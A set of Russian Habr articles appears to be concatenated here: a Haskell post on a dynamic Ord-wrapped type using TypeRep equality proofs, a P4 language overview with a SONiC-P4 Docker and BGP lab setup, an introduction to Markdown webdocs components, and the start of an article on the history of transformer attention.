В-четвёртых, она возвращает значение типа `Maybe (a :~~: b)`. Здесь происходит самое интересное.
Если типы не совпадают, то функция возвращает обычный `Nothing`, и всё в порядке. Если же типы таки совпадают, то функция возвращает `Just val`, где `val` имеет тип `a :~~: b`. Посмотрим, что это за тип:
```
-- | Kind heterogeneous propositional equality. Like ':~:', @a :~~: b@ is
-- inhabited by a terminating value if and only if @a@ is the same type as @b@.
--
-- @since 4.10.0.0
data (a :: k1) :~~: (b :: k2) where
HRefl :: a :~~: a
```
Теперь давайте рассуждать. Предположим, что мы получили значение `val` типа `a :~~: b`. Как оно могло быть построено? Единственный способ — при помощи конструктора `HRefl`, а этот конструктор требует, чтобы по обе стороны от значка `:~~:` стояло одно и то же. Значит, `a` совпадает с `b`. Более того, если мы запаттерн-матчимся на `val`, то тайпчекер тоже про это будет знать. Поэтому, да, функция `eqTypeRep` возвращает доказательство, что два потенциально разных типа совпадают, если они на самом деле равны.
Впрочем, в абзаце выше я соврал. Никто не мешает нам *в хаскеле* написать что-то вроде
```
wrong :: Int :~~: String
wrong = wrong -- уау бесконечная рекурсия
```
или
```
wrong :: Int :~~: String
wrong = undefined
```
или сломать систему ещё кучей чуть менее очевидных способов. Это одно из проявлений известного в узких кругах высказывания, что хаскель неконсистентен как логика. В языках с более сильными системами типов такие определения не протайпчекаются.
Именно поэтому в процитированном чуть выше куске документаций упомянуто *terminating value*. Оба варианта реализации `wrong` выше не производят это самое terminating value, что возвращает нам немного рассудка и уверенности: если наша программа на хаскеле *завершилась* (и не натолкнулась на `undefined`), то тогда её результат соответствует написанным типам. Тут, впрочем, есть некоторые детали, связанные с ленивостью, но не будем вскрывать эту тему.
И, кстати, второе проявление слабости хаскеля в коде выше — тип функции `eqTypeRep`. В более сильных языках она бы возвращала значение более сильного типа, которое не только являлось бы доказательством равенства типов, если они на самом деле равны, но и давало бы доказательство их *неравенства*, если они на самом деле неравны. Неконсистентность логики хаскеля, впрочем, делает такие функции немного бессмысленными: это всё важно, когда используешь язык как прувер теорем, а не как язык программирования, а хаскель как прувер особо не используют.
Ну да ладно, хватит матлога и теории типов, вернёмся к нашим метрикам. ~~Теперь просто рисуем сову~~ Обсуждение выше намекает, что достаточно хранить в нашем экзистенциальном типе ещё и это самое рантайм-представление типа, и всё будет хорошо.
Это приводит нас к следующей реализации нашего типа-обёртки:
```
data Dyn where
Dyn :: Ord a => TypeRep a -> a -> Dyn
toDyn :: (Typeable a, Ord a) => a -> Dyn
toDyn val = Dyn (typeOf val) val
```
Теперь напишем функцию, которая принимает следующее:
1. два значения типа `Dyn`;
2. функцию, которая что-то производит для двух значений *любого типа*,
основываясь только на упомянутых при создании `Dyn` констрейнтах (за это отвечает `forall`),
и которая вызывается, если оба `Dyn` хранят значения одного и того же типа;
3. и функцию-fallback, которая вызывается вместо предыдущей, если типы таки разные:
```
withDyns :: (forall a. Ord a => a -> a -> b) ->
(SomeTypeRep -> SomeTypeRep -> b) ->
Dyn -> Dyn -> b
withDyns f def (Dyn ty1 v1) (Dyn ty2 v2) = case eqTypeRep ty1 ty2 of
Nothing -> def (SomeTypeRep ty1) (SomeTypeRep ty2)
Just HRefl -> f v1 v2
```
`SomeTypeRep` — это экзистенциальная обёртка над `TypeRep a` для любого `a`.
Теперь мы можем реализовать, например, проверку на равенство и сравнение:
```
instance Eq Dyn where
(==) = withDyns (==) (\_ _ -> False)
instance Ord Dyn where
compare = withDyns compare compare
```
Здесь мы воспользовались тем, что `SomeTypeRep` можно сравнивать между собой, так что fallback-функция для упорядочивания — тоже `compare`.
Готово.
Только вот теперь грех не обобщить: заметим, что внутри `Dyn`, `toDyn`, `withDyns` мы никак не используем конкретно `Ord`, и это мог бы быть любой другой набор констрейнтов, поэтому мы можем включить расширение `ConstraintKinds` и *обобщить*, параметризовав `Dyn` конкретным набором ограничений, которые нам нужны в нашей конкретной задаче:
```
data Dyn ctx where
Dyn :: ctx a => TypeRep a -> a -> Dyn ctx
toDyn :: (Typeable a, ctx a) => a -> Dyn ctx
toDyn val = Dyn (typeOf val) val
withDyns :: (forall a. ctx a => a -> a -> b) ->
(SomeTypeRep -> SomeTypeRep -> b) ->
Dyn ctx -> Dyn ctx -> b
withDyns (Dyn ty1 v1) (Dyn ty2 v2) f def = case eqTypeRep ty1 ty2 of
Nothing -> def (SomeTypeRep ty1) (SomeTypeRep ty2)
Just HRefl -> f v1 v2
```
Тогда `Dyn Ord` будет нашим искомым типом, а, скажем, `Dyn Monoid` позволит хранить произвольные моноиды и что-то моноидальное с ними делать.
Напишем нужные нам инстансы для нашего нового `Dyn`:
```
instance Eq (Dyn Eq) where
(==) = withDyns (==) (\_ _ -> False)
instance Ord (Dyn Ord) where
compare = withDyns compare compare
```
… только вот это не работает. Тайпчекер не знает, что `Dyn Ord` также реализует `Eq`,
поэтому придётся копировать всю иерархию:
```
instance Eq (Dyn Eq) where
(==) = withDyns d1 d2 (==) (\_ _ -> False)
instance Eq (Dyn Ord) where
(==) = withDyns d1 d2 (==) (\_ _ -> False)
instance Ord (Dyn Ord) where
compare = withDyns d1 d2 compare compare
```
Ну, теперь точно всё.
… разве что, в современном хаскеле можно сделать так, чтобы тайпчекер сам выводил инстансы вида
```
instance C_i (Dyn (C_1, ... C_n)) where
...
```
ибо там вылезает что-то прологоподобное, но я пока этого не сделал, надо будет посидеть поковырять. Stay tuned.
А ещё, если внимательно прищуриться, можно заметить, что наш `Dyn` подозрительно похож на зависимую пару вида `(ty : Type ** val : ty)` из завтипизированных языков. Но только в известных мне языках матчиться на тип нельзя, ибо parametricity (которая в этом случае, ИМХО, трактуется слишком широко), а тут вроде вот можно.
Но самое главное — теперь можно спокойно иметь что-то вроде `Map (Dyn Ord) SomeValue` и использовать в роли ключей любые значения, покуда они сами поддерживают сравнение. Например, в роли ключей можно использовать идентификаторы с описанием метрик, но это уже тема для следующей статьи. | https://habr.com/ru/post/457930/ | null | ru | null |
# Язык сетевого программирования P4. Часть 1: обзор возможностей и настройка SONiC-P4
Мишка — символ языка P4, который был впервые описан в 2014 годуЭта первая часть обзорной статьи, в которой мы разбираемся с молодым языком программирования P4: что это такое, для чего он нужен и чем лучше прочих систем обработки пакетов. Конечно, будет и практика: примеры программирования и обзор железа с поддержкой P4. А на десерт — пошаговая настройка виртуального коммутатора Sonic-P4. Поехали!
Начнем с теории. Язык P4 или Programming Protocol-Independent Packet Processors — общедоступный сетевой предметно-ориентированный язык для описания плоскости данных в сети.
Изначально P4 разрабатывали для программирования плоскости пересылки сетевых коммутаторов, но по мере развития этого языка охватили и другие сетевые элементы: роутеры, программные и аппаратные коммутаторы, сетевые интерфейсные карты и т.п.
Язык P4 — протокольно-независимый: программист сам описывает заголовки с именами полей и выбирает любой нужный протокол.
Большинство сетевых устройств реализуют как плоскость управления, так и плоскость данных. P4 описывает процесс обработки пакета только в контексте плоскости данных, а точнее — определяют функциональные возможности плоскости данных устройства.
Программы P4 могут также частично определять интерфейс связи между плоскостью управления и плоскостью данных, но они не могут описать функции уровня управления устройства. Покажем это на простом примере:
Коммутаторы: стандартный и программируемый на P4На схеме показана разница между стандартным и программируемым коммутатором на P4. В стандартном устройстве производитель определяет функциональность плоскости данных. Плоскость управления контролирует плоскость данных, а именно:
* управляет записями в таблицах;
* настраивает специализированные объекты, например, регистры;
* обрабатывает управляющие пакеты.
Теперь взглянем на два основных отличия коммутатора P4:
1. Функциональные возможности плоскости данных не задаются первоначально, т.е. программист может их описать. Настройка плоскости данных в соответствии с кодом происходит при инициализации устройства. Отметили это красной стрелкой на схеме.
2. Взаимодействие плоскости управления и плоскости данных происходит по тем же каналам, что и в стандартном коммутаторе, но при этом набор таблиц и других объектов в плоскости данных уже не является фиксированным и определяется программой P4. Компилятор P4 генерирует API, который использует плоскость управления для связи с плоскостью данных.
Абстракции языка P4
-------------------
Плавно переходим к абстракциям языка P4. Кратко опишем сущность каждой:
* **Заголовки** используют для описания формата или набора полей и их размеров — для каждого заголовка в пакете.
* **Парсеры** **или синтаксические анализаторы** описывают разрешенные последовательности заголовков в получаемых пакетах, правила идентификации заголовков и поля для извлечения из пакетов. По сути, основная задача синтаксических анализаторов — правильно идентифицировать и разобрать заголовок.
* **Таблицы P4** объединяют ключи, действия и связи между ними. Они обобщают традиционные таблицы коммутации и помогают реализовать таблицы маршрутизации, списки управления доступом и создание сложных пользовательских таблиц. Единственное, что ограничивает количество таблиц — потребности программиста. Вхождения в таблицы происходят последовательно, если не создана абстрактная таблица, которая состоит из нескольких пользовательских.
* **Действия** — фрагменты кода, описывающие правила обработки полей заголовка для пакета и метаданных.
* **Модули Match-Action** — составная часть таблиц для выполнения следующей последовательности:
1. Создание ключа поиска из полей пакета или вычисленных метаданных.
2. Выполнение поиска в таблице для сопоставления созданного ключа и нужного действия.
3. Выполнение найденного действия.
* **Поток управления** — императивная программа, которая описывает процесс обработки пакетов на устройстве, включая последовательность вызовов модулей Match-Action.
* **Внешние объекты** — архитектурно-зависимые конструкции, которыми управляют программы P4 при помощи четко определенных API. Важно: внутреннее поведение внешних объектов скорректировать невозможно. Примеры таких объектов: контрольная сумма, счетчики, регистры и т.д.
* **Пользовательские метаданные** — структуры данных, которые связаны с каждым пакетом. Их определяет пользователь.
* **Внутренние метаданные** — структуры данных, которые связаны с каждым пакетом. Их определяет архитектура.
Пример программирования устройства на P4
----------------------------------------
Производители устройств предоставляют аппаратную или программную среду реализации, архитектуру и компилятор P4.
Пользователь определяет программу на P4 для конкретной архитектуры. Компилятор генерирует конфигурацию плоскости данных, которая реализует логику пересылки и API для управления состоянием объектов плоскости данных из плоскости управления.
На схеме — пример программирования устройства на P4Предметно-ориентированный язык P4 реализуется на разных устройствах, включая программируемые сетевые интерфейсные карты, FPGA, программные коммутаторы и аппаратные ASIC. И разработчики программ на P4 ограничены конструкциями, которые можно эффективно реализовать на всех этих платформах.
Учитывая фиксированную стоимость операций поиска в таблице и взаимодействий с внешними объектами, все программы P4, т.е. и парсеры, и элементы управления, выполняют константное количество операций для каждого байта входящего пакета. Парсеры могут содержать циклы, но сам пакет обеспечивает ограничение на общее выполнение парсера.
Таким образом, вычислительная сложность программы P4 линейна по общему размеру всех заголовков и никогда не зависит от размера состояния, которое накопилось при обработке данных, например, количества потоков или общего количества обработанных пакетов. Казалось бы, быстрая обработка пакетов при этом гарантирована, но этого недостаточно, есть нюансы.
Давайте посмотрим на P4 на живых примерах. Ниже – заголовок, парсер и таблица для модели Very Simple Switch.
```
#include
#include
const bit<16> TYPE\_IPV4 = 0x800;
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\*\*\*\*\*\*\*\*\*\* H E A D E R S \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
typedef bit<9> egressSpec\_t;
typedef bit<48> macAddr\_t;
typedef bit<32> ip4Addr\_t;
header ethernet\_t {
macAddr\_t dstAddr;
macAddr\_t srcAddr;
bit<16> etherType;
}
header ipv4\_t {
bit<4> version;
bit<4> ihl;
bit<8> diffserv;
bit<16> totalLen;
bit<16> identification;
bit<3> flags;
bit<13> fragOffset;
bit<8> ttl;
bit<8> protocol;
bit<16> hdrChecksum;
ip4Addr\_t srcAddr;
ip4Addr\_t dstAddr;
}
```
```
/***************************************************************
*********************** P A R S E R ***************************
***************************************************************/
parser MyParser(packet_in packet,
out headers hdr,
inout metadata meta,
inout standard_metadata_t standard_metadata) {
state start {
transition parse_ethernet;
}
state parse_ethernet {
packet.extract(hdr.ethernet);
transition select(hdr.ethernet.etherType) {
TYPE_IPV4: parse_ipv4;
default: accept;
}
}
state parse_ipv4 {
packet.extract(hdr.ipv4);
transition accept;
}
}
```
```
action drop() {
mark_to_drop(standard_metadata);
}
action ipv4_forward(macAddr_t dstAddr, egressSpec_t port) {
standard_metadata.egress_spec = port;
hdr.ethernet.srcAddr = hdr.ethernet.dstAddr;
hdr.ethernet.dstAddr = dstAddr;
hdr.ipv4.ttl = hdr.ipv4.ttl - 1;
}
table ipv4_lpm {
key = {
hdr.ipv4.dstAddr: lpm;
}
actions = {
ipv4_forward;
drop;
NoAction;
}
size = 1024;
default_action = drop();
}
apply {
if (hdr.ipv4.isValid()) {
ipv4_lpm.apply();
}
}
```
Полюбовавшись на заголовки и парсеры, попробуем понять, а чем же P4 так хорош и хорош ли?
Преимущества языка P4
---------------------
P4 превосходит современные системы обработки пакетов в следующих моментах:
1. **Гибкость:** P4 помогает представить политики пересылки пакетов в виде программ, в отличие от традиционных коммутаторов, которые дают пользователям механизмы пересылки с фиксированными функциями.
2. **Выразительность:** с P4 легко представлять сложные аппаратно независимые алгоритмы обработки пакетов. При этом использовать нужно исключительно операции общего назначения и поиск по таблицам. Такие программы переносимы между целевыми аппаратными средствами, которые реализуют одни и те же архитектуры, если нам хватает ресурсов.
3. **Управление ресурсами:** программы P4 абстрактно описывают ресурсы хранения, например, адрес источника IPv4; компиляторы сопоставляют поля с доступными аппаратными ресурсами, которые определяет пользователь, и управляют низкоуровневыми элементами.
4. **Преимущества при разработке ПО:** проверка типов, скрытие информации и повторное использование кода (software reuse).
5. **Библиотеки:** библиотеки компонентов производителей могут использоваться для обертывания аппаратно-зависимых функций в переносимые высокоуровневые конструкции P4.
6. **Разделение аппаратного и программного обеспечения:** производители устройств могут использовать абстрактные архитектуры, чтобы четко отделить низкоуровневые архитектурные элементы от высокоуровневой обработки.
7. **Отладка:** производители предоставляют программные модели архитектуры для простоты разработки и отладки программ P4.
Гибкость, простота, эффективность – вроде здорово, но много ли у нас железа с поддержкой P4? Разбираемся дальше.
Устройства с поддержкой P4
--------------------------
P4 – относительно новый язык программирования, поэтому аппаратная поддержка не так сильна, как хотелось бы. Ниже перечислим продукты, на которых можно реализовать полную спецификацию языка.
### Чипы Barefoot Tofino 2
Инженеры компании Barefoot Networks создали язык P4 и чипсет типа ASIC, который не использует проприетарный SDK, такой как Broadcom или Cavium.
Скоростные каналы SerDes Barefoot Tofino 2 Chip и более высокий предел пропускной способности, по сравнению с ASIC предыдущего поколения, в разы масштабируют производительность. Архитектура Intel Tofino 2 также дает больше ресурсов для обработки жестких рабочих нагрузок в распределенных приложениях, масштабировании виртуальных машин, искусственном интеллекте и бессерверных развертываниях.
Платформа Barefoot Tofino 2 и сравнение чипов в линейке Tofino ### Netronome Agilio SmartNIC
Продукты SmartNIC — это стандартные сетевые адаптеры PCIe с соединениями, которые разгружают функции плоскости данных на сетевую карту вместо того, чтобы помочь приложениям или ядру тратить на это много ресурсов ЦП. Эти продукты — не просто коммутаторы или сетевые карты, у них нет доступного по умолчанию набора функций.
Платформа Netronome Agilio CX### Xilinx Alveo
Устройства Xilinx с поддержкой P4 представляют собой смарт-карты на базе FPGA из линейки продуктов Alveo. Более старые версии карт Alveo оснащены схемами Xilinx Zynq UltraScale + FPGA, а более новые версии включают специализированную FPGA Xilinx UltraScale+, которая установлена только в линейке Alveo.
Карта Alveo U25 доступна с двумя сетевыми интерфейсами 10/25 GbE, а все более новые версии имеют один или два интерфейса 100 GbE.
У Xilinx есть своя целевая платформа FPGA для определения обработки пакетов в плоскости данных — SDNet. С точки зрения P4, среда SDNet предлагает несколько базовых архитектурных моделей, которые могут использовать программисты P4. Эти архитектуры включают XilinxSwitch, XilinxStreamSwitch и XilinxEngineOnly.
Платформа Xilinx Alveo U25Программный коммутатор SONiC-P4
-------------------------------
### Что такое SONiC-P4?
SONiC-P4 — программный коммутатор на базе ASIC, который эмулируется P4 и использует sai\_bm.p4 для программирования ASIC-коммутатора. Также он запускает сетевой стек SONiC. Текущую версию SONiC-P4 выпустили в виде образа докера. SONiC-P4 запускается везде, где работает докер — на «голом железе» Linux / Windows-машины, внутри виртуальной машины или в облачной среде.
### Как использовать SONiC-P4?
Продемонстрируем использование программного коммутатора SONiC-P4 на простом стенде:
Топология тестового стенда для коммутатора SONiC-P4Switch1 и switch2 — два коммутатора SONiC-P4 в двух разных BGP AS, которые взаимодействуют друг с другом. Switch1 объявляет 192.168.1.0/24, switch2 — 192.168.2.0/24.
* На сервере Ubuntu [качаем необходимые файлы](https://github.com/Azure/SONiC/wiki/files/SONiC-P4/SONiC-P4.Test.tar.gz). Разархивируем файл и переходим в каталог **sonic/**.
* Запускаем **./install\_docker\_ovs.sh**, чтобы установить docker и open-vswitch.
* Запускаем **./load\_image.sh**, чтобы загрузить образ SONiC-P4.
* Запускаем **./start.sh**, чтобы настроить стенд. Если все ок, появятся четыре докера.
lgh@acs-p4:~/sonic$ docker ps
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| **CONTAINER ID** | **IMAGE** | **COMMAND** | **CREATED** | **STATUS** | **PORTS NAMES** |
| db924306352f | ubuntu:14.04 | "/bin/bash" | 2 minutes ago | Up 2 minutes | host2 |
| ae5e987dee8c | ubuntu:14.04 | "/bin/bash" | 2 minutes ago | Up 2 minutes | host1 |
| aed19d76cd3a | docker-sonic-p4:latest | "/bin/bash" | 2 minutes ago | Up 2 minutes | switch2 |
| 680f95a83512 | docker-sonic-p4:latest | "/bin/bash" | 2 minutes ago | Up 2 minutes | switch1 |
* Ждем минуту до загрузки и запускаем **./test.sh**, который пингует host2 с host1.
```
lgh@acs-p4:~/sonic$ ./test.sh
PING 192.168.2.2 (192.168.2.2) 56(84) bytes of data.
64 bytes from 192.168.2.2: icmp_seq=1 ttl=62 time=9.81 ms
64 bytes from 192.168.2.2: icmp_seq=2 ttl=62 time=14.9 ms
64 bytes from 192.168.2.2: icmp_seq=3 ttl=62 time=8.42 ms
64 bytes from 192.168.2.2: icmp_seq=4 ttl=62 time=14.7 ms
```
* Проверяем BGP на switch1
```
lgh@acs-p4:~/sonic$ docker exec -it switch1 bash
root@switch1:/# vtysh -c "show ip bgp sum"
BGP router identifier 192.168.1.1, local AS number 10001
RIB entries 3, using 336 bytes of memory
Peers 1, using 4568 bytes of memory
```
* Запускаем **./stop.sh** для очистки.
---
#### Настройка топологии в start.sh
Для настройки топологии в start.sh мы запускаем четыре контейнера докеров. В качестве примера возьмем команду для switch1:
```
sudo docker run --net=none --privileged --entrypoint /bin/bash
--name switch1 -it -d -v $PWD/switch1:/sonic docker-sonic-p4:latest
```
Мы указываем `--net = none`, чтобы механизм Docker не добавил свой интерфейс docker0, который может помешать тестируемой топологии.
`--privileged` позволяет каждому контейнеру настраивать свои интерфейсы.
`-v $ PWD / switch1: / sonic` монтирует папку конфигурации в контейнеры коммутатора.
Затем создаем три связи. В качестве примера возьмем связь между switch1 и switch2. Следующие команды соединяют интерфейс eth1 switch1 с интерфейсом eth1 switch2:
```
sudo ovs-vsctl add-br switch1_switch2
sudo ovs-docker add-port switch1_switch2 eth1 switch1
sudo ovs-docker add-port switch1_switch2 eth1 switch2
```
Также настраиваем IP-адрес интерфейса и маршруты по умолчанию на host1 и host2. Пример для host1:
```
sudo docker exec -d host1 ifconfig eth1 192.168.1.2/24 mtu 1400
sudo docker exec -d host1 ip route replace default via 192.168.1.1
```
Наконец, вызываем сценарий запуска для switch1 и switch2:
```
sudo docker exec -d switch1 sh /sonic/scripts/startup.sh
sudo docker exec -d switch2 sh /sonic/scripts/startup.sh
```
### Конфигурация SONiC-P4
В start.sh мы смонтировали папку конфигурации в контейнер коммутатора в /sonic. Наиболее важные конфигурации находятся в `/sonic/scripts/startup.sh,` `/sonic/etc/config_db/vlan_config.json` и `/sonic/etc/quagga/bgpd.conf.`
В `/sonic/scripts/startup.sh` запускаем все службы SONiC и сам программный коммутатор P4 следующей строкой:
`simple_switch --log-console -i 1@eth1 -i 2@eth2 …`
Это действие связывает интерфейс eth1 с портом 1 программного коммутатора P4, eth2 — с портом 2 и так далее. Эти интерфейсы ethX обычно называются интерфейсами передней панели и напрямую используются коммутаторами P4 для передачи пакетов плоскости данных.
Однако SONiC работает с интерфейсами другого типа, так называемыми хост-интерфейсами EthernetX. Они предназначены для плоскости управления SONiC и НЕ несут пакеты плоскости данных.
Мы настраиваем одноранговый IP и MTU на хост-интерфейсах. SONiC считывает конфигурации, такие как IP и MTU, с интерфейсов хоста, а затем настраивает эти значения на программном коммутаторе P4 с помощью SAI.
Сопоставление между интерфейсами хоста и портами коммутатора указано в /port\_config.ini:
```
# alias lanes
Ethernet0 1
Ethernet1 2
…
```
Вместе с командой `simple_switch в /sonic/scripts/startup.sh` мы настроили следующее отображение: `Ethernet0 -> lane 1 -> eth1`. По сути, это отображение между интерфейсами хоста и интерфейсами передней панели.
`/sonic/etc/config_db/vlan_config.json` настраивает интерфейсы коммутатора vlan, который мы используем в этом эксперименте, через интерфейс ConfigDB (подробности — в руководстве [SONiC Configuration Database](https://github.com/Azure/SONiC/wiki/Configuration)):
```
{
"VLAN": {
"Vlan15": {
"members": [
"Ethernet0"
],
"vlanid": "15"
},
"Vlan10": {
"members": [
"Ethernet1"
],
"vlanid": "10"
}
},
"VLAN_MEMBER": {
"Vlan15|Ethernet0": {
"tagging_mode": "untagged"
},
"Vlan10|Ethernet1": {
"tagging_mode": "untagged"
}
},
"VLAN_INTERFACE": {
"Vlan15|10.0.0.0/31": {},
"Vlan10|192.168.1.1/24": {}
}
}
```
`/sonic/etc/quagga/bgpd.conf` настраивает сеанс BGP на коммутаторе. Вот конфигурация BGP для switch1, который взаимодействует с switch2, используя одноранговый IP-адрес 10.0.0.0/31, и объявляет 192.168.1.0/24:
```
router bgp 10001
bgp router-id 192.168.1.1
network 192.168.1.0 mask 255.255.255.0
neighbor 10.0.0.1 remote-as 10002
neighbor 10.0.0.1 timers 1 3
neighbor 10.0.0.1 send-community
neighbor 10.0.0.1 allowas-in
maximum-paths 64
!
access-list all permit any
```
Итак, пока на этом все. В этой первой части статьи мы познакомились с языком P4, подходящими для него hardware-платформами и настроили коммутатор SONiC-P4. Во второй части – разберем сетевую архитектуру и поэкспериментируем. Так что [подписывайтесь](https://habr.com/ru/users/Promwad/) и оставайтесь с нами! | https://habr.com/ru/post/572388/ | null | ru | null |
# Ознакомление с компонентами в Markdown webdocs
В продолжение вводной части [habrahabr.ru/post/196248](http://habrahabr.ru/post/196248/), в этой статье я обзорно расскажу о механизме компонентной системы реализованной в библиотеке controls.js и используемой в Markdown webdocs для создания и вставки активного контента в текстовый документ.
Технически, компоненты Markdown webdocs, это контролы в терминах controls.js организованные в отдельные модули и снабженные дополнительными ресурсами. Практически, компоненты Markdown webdocs, это расширенный аналог широко используемых в веб-дизайне шаблонов, реализованных таким образом, что бы их можно было вызывать прямо из текста страницы.
Компонент, это изначально некий JavaScript объект имеющий параметры, атрибуты содержащие данные, функцию-шаблон html кода и конечно же те свойства и методы, которые мы определим в его коде.
Некоторый базовый набор готовых компонент встроен в document.js и доступен сразу после инициализации, также возможна автоматическая загрузка по имени компонента из предопределенной папки /components или подключением на страницу внешних скриптов содержащих модуль компонента.
Элементарные компоненты не содержат вспомогательного кода и стилей и не меняют свое поведение и представление, сложные компоненты могут содержать код и стили, управлять своим состоянием, поведением и представлением, взаимодействовать с документом и внешним миром и даже мутировать в другие компоненты превращаясь полностью в другой компонент. Самостоятельные компоненты позволяют полностью вынести все зависимости в отдельный модуль. Универсальные компоненты в своем ареале обитания не ограничены браузером. Хороший, годный компонент может интерпретироваться на сервере, а исполняться в браузере, или быть передан из одного фрейма в другой. Надежные компоненты не зависят от порядка загрузки файлов ресурсов на странице. Умные компоненты способны кешировать данные или выполнять предзагрузку, ленивые компоненты не мешают другим компонентам работать.
### Hello World! по-компонентски
```
(function() {
function HelloWorld(parameters, attributes) {
$ENV.controls.controlInitialize(this, 'hello', parameters, attributes, $ENV.default_template, $ENV.default_inner_template);
this.text('# Hello World!'); // ← Markdown
};
HelloWorld.prototype = $ENV.controls.control_prototype;
controls.typeRegister('hello', HelloWorld); // ← Регистрация компонента
})();
```
Что бы функция стала конструктором объектов компонента в Markdown webdocs, необходимо выполнить несколько условий:
— в цепочке прототипов должен быть controls.control\_prototype, это дает объекту общие свойства и методы контрола.
— функция должна быть зарегистрирована вызовом controls.typeRegister() или controls.factoryRegister()
— в модуле конструктора необходима инициализация вызовом controls.controlInitialize()
— желательно при инициализации назначить специальные шаблоны, понимающие разметку Markdown. $ENV.default\_template и $ENV.default\_inline\_template являются именно такими шаблонами контрола, совместимыми с Markdown webdocs и их можно использовать в большинстве пользовательских компонентов.
В приведенном выше примере только строка this.text('# Hello World!'); является кодом проблемной области.
#### Фоновая динамическая загрузка компонента
Динамическая загрузка удобна в целях прототипирования и отладки. Если создать файл controls.hello-world.js с кодом примера Hello World! и разместить по пути components/controls/hello-world/controls.hello-world.js в папке сайта, в тексте страниц этого сайта можно будет использовать нотацию вызова этого компонента: %hello()%hello, скрипт будет загружен только при наличии этого вызова. На время с момента исполнения кода инициализации до фактической загрузки скрипта (а это время может быть заметным), вместо компонента в указанном месте документа будет расположен компонент-заглушка Stub.
### Манифест компонента
Механизм компонентной системы основан на достаточно простых, систематичных и универсальных базовых принципах:
#### Модульный принцип построения
Модуль представляет для компонента инфраструктуру, в одном модуле может быть создано несколько компонентов использующих общие данные.
Модуль инкапсулирует стили и ресурсы, правильно построенный компонент должен позволять управлять и подключаемыми этим компонентом ресурсами, к примеру отключать уникально используемые стили при удалении компонента.
#### Модификации
Основное назначение параметров — выбор модификации компонента. Модификация это может быть другое представление того же компонента, а может быть и отдельный компонент. Параметры так же используются и для передачи значений атрибутов объектам, там где это удобно.
Примеры:
%page-layout#scheme=centered()%page-layout – здесь scheme это параметр позволяющий выбрать ту или иную модификацию, что для этого компонента означает выбор схемы компоновки страницы.
%block#$class=m41()%block — назначение имени класса блоку, это пример передачи через параметры значения атрибута.
#### Создание HTML кода, управление элементами DOM, обработка событий
все это сфера ответственности компонента, для этого базовая библиотека предоставляет соответствующий функционал, сокращающий требуемый объем кода. DOM выступает в качестве средства визуализации и полностью абстрагируется от объектов данных. В простейшем случае разработчику не требуется ничего делать, компонент при создании уже имеет шаблон по умолчанию и соответствующее поведение.
#### Произвольная вложенность, фрактальность, систематичность
Каждая часть документа подобна всему документу и может выступать в роли отдельного документа. Компонент, как часть документа, обладает теми же свойствами. Документ может быть составной частью другого документа.
### Зачем это все нужно?
В этом месте предлагаю полистать [сайт проекта раздел Components](http://aplib.github.io/markdown-site-template/components/controls.collapse.html), что бы составить представление о возможностях компонентов.
На мой взгляд, на сегодня технически это наиболее оптимальный способ создания сложных веб-документов и он позволяет избежать ряд принципиальных недостатков, присущих другим технологиям. (И упростить код). С помощью технологии внешних компонентов удалось практически бесшовно добавить к двум уже привычным и используемым вместе разметкам Markdown и html добавить третью, дополняющую их недостающими элементами — шаблонами, модульностью и структурно организованным активным кодом.
А те несколько недостатков, что присущи сейчас всем JavaScript сайтам, есть уверенность в ближайшем будущем будут решены, ведь JavaScript сайтов все больше и их поддержка в сети со временем только возрастает.
Возможно, после прочтения у вас сложилось ошибочное впечатление, что система очень сложна. Но хочу сказать что это не так. Если вы посмотрите исходный код тех компонентов, что приведены на сайте, вы увидите что для создания на сайте достаточно сложных эффектов используется сравнительно немного кода в самом компоненте. Сложной эта система кажется при первом ознакомлении, для старта нужно запомнить несколько базовых вещей.
Если вы ничего не поняли в том что я тут написал… буду писать еще и со временем постараюсь все внятно донести и ответить на все возникающие вопросы.
### Проект
За это время проект обзавелся названием Markdown webdocs, надеюсь это будет новым словом в сетевых технологиях. Вы можете оставлять замечания и пожелания на гитхаб, в блоге или группе Вконтакте. Если вы захотите оказать помощь проекту или воспользоваться специальным предложением, но не знаете как это сделать, обращайтесь непосредственно ко мне, все контакты опубликованы в моем профиле.
Сайт проекта [aplib.github.io/markdown-site-template](http://aplib.github.io/markdown-site-template/)
Репозиторий [github.com/aplib/markdown-site-template](https://github.com/aplib/markdown-site-template) | https://habr.com/ru/post/197192/ | null | ru | null |
# Знакомство с трансформерами. Часть 3
[Первая](https://habr.com/ru/company/wunderfund/blog/592231/) и [вторая](https://habr.com/ru/company/wunderfund/blog/593713/) части перевода материала о трансформерах были посвящены теоретическим основам этого семейства нейросетевых архитектур, рассказу о способах их использования, демонстрации их реализации с применением PyTorch. Сегодня речь пойдёт об истории трансформеров, будет дан обзор современного состояния дел в этой сфере.
### История
Если вы читали другие вводные статьи по трансформерам, то могли заметить, что там есть кое-что такое, о чём я не рассказывал. Полагаю, подобные вещи не являются абсолютно необходимыми для понимания современных трансформеров. Они, однако, помогают понять некоторые термины, знакомство с ними облегчает восприятие материалов о современных трансформерах. Сейчас я расскажу о самых важных моментах истории трансформеров.
#### Откуда взялось понятие «механизм внутреннего внимания»?
До того, как появилось такое понятие, как «механизм внутреннего внимания», нейросетевые модели, занимающиеся обработкой последовательностей, представляли собой, в основном, многослойные структуры из рекуррентных или свёрточных слоёв. Настал момент, когда было выяснено, что этим моделям можно помочь в решении их задач, оснастив их механизмами внимания. Вместо того, чтобы передавать выходную последовательность одного слоя напрямую в другой слой, можно воспользоваться промежуточным механизмом. Он принимает решения о том, какие именно элементы входной последовательности имеют важное значение для конкретного слова выходной последовательности.
Если дать общее описание этого механизма, то получится следующее. Входные данные называются значениями. Некий (обучаемый) механизм назначает каждому значению ключ. Затем ещё какой-то механизм назначает каждому выходному значению запрос.
Эти термины взяты из структур, используемых в хранилищах типа ключ-значение. В случае с ними мы ожидаем, что лишь один элемент хранилища имеет ключ, который соответствует запросу. Этот элемент возвращается при выполнении к хранилищу соответствующего запроса. Механизм внимания — это менее строгая версия подобной схемы: каждый ключ в хранилище, в какой-то мере, соответствует запросу. Возвращаются все ключи, а мы получаем их сумму, взвешенную по тому показателю, который указывает на то, насколько каждый из ключей соответствует запросу.
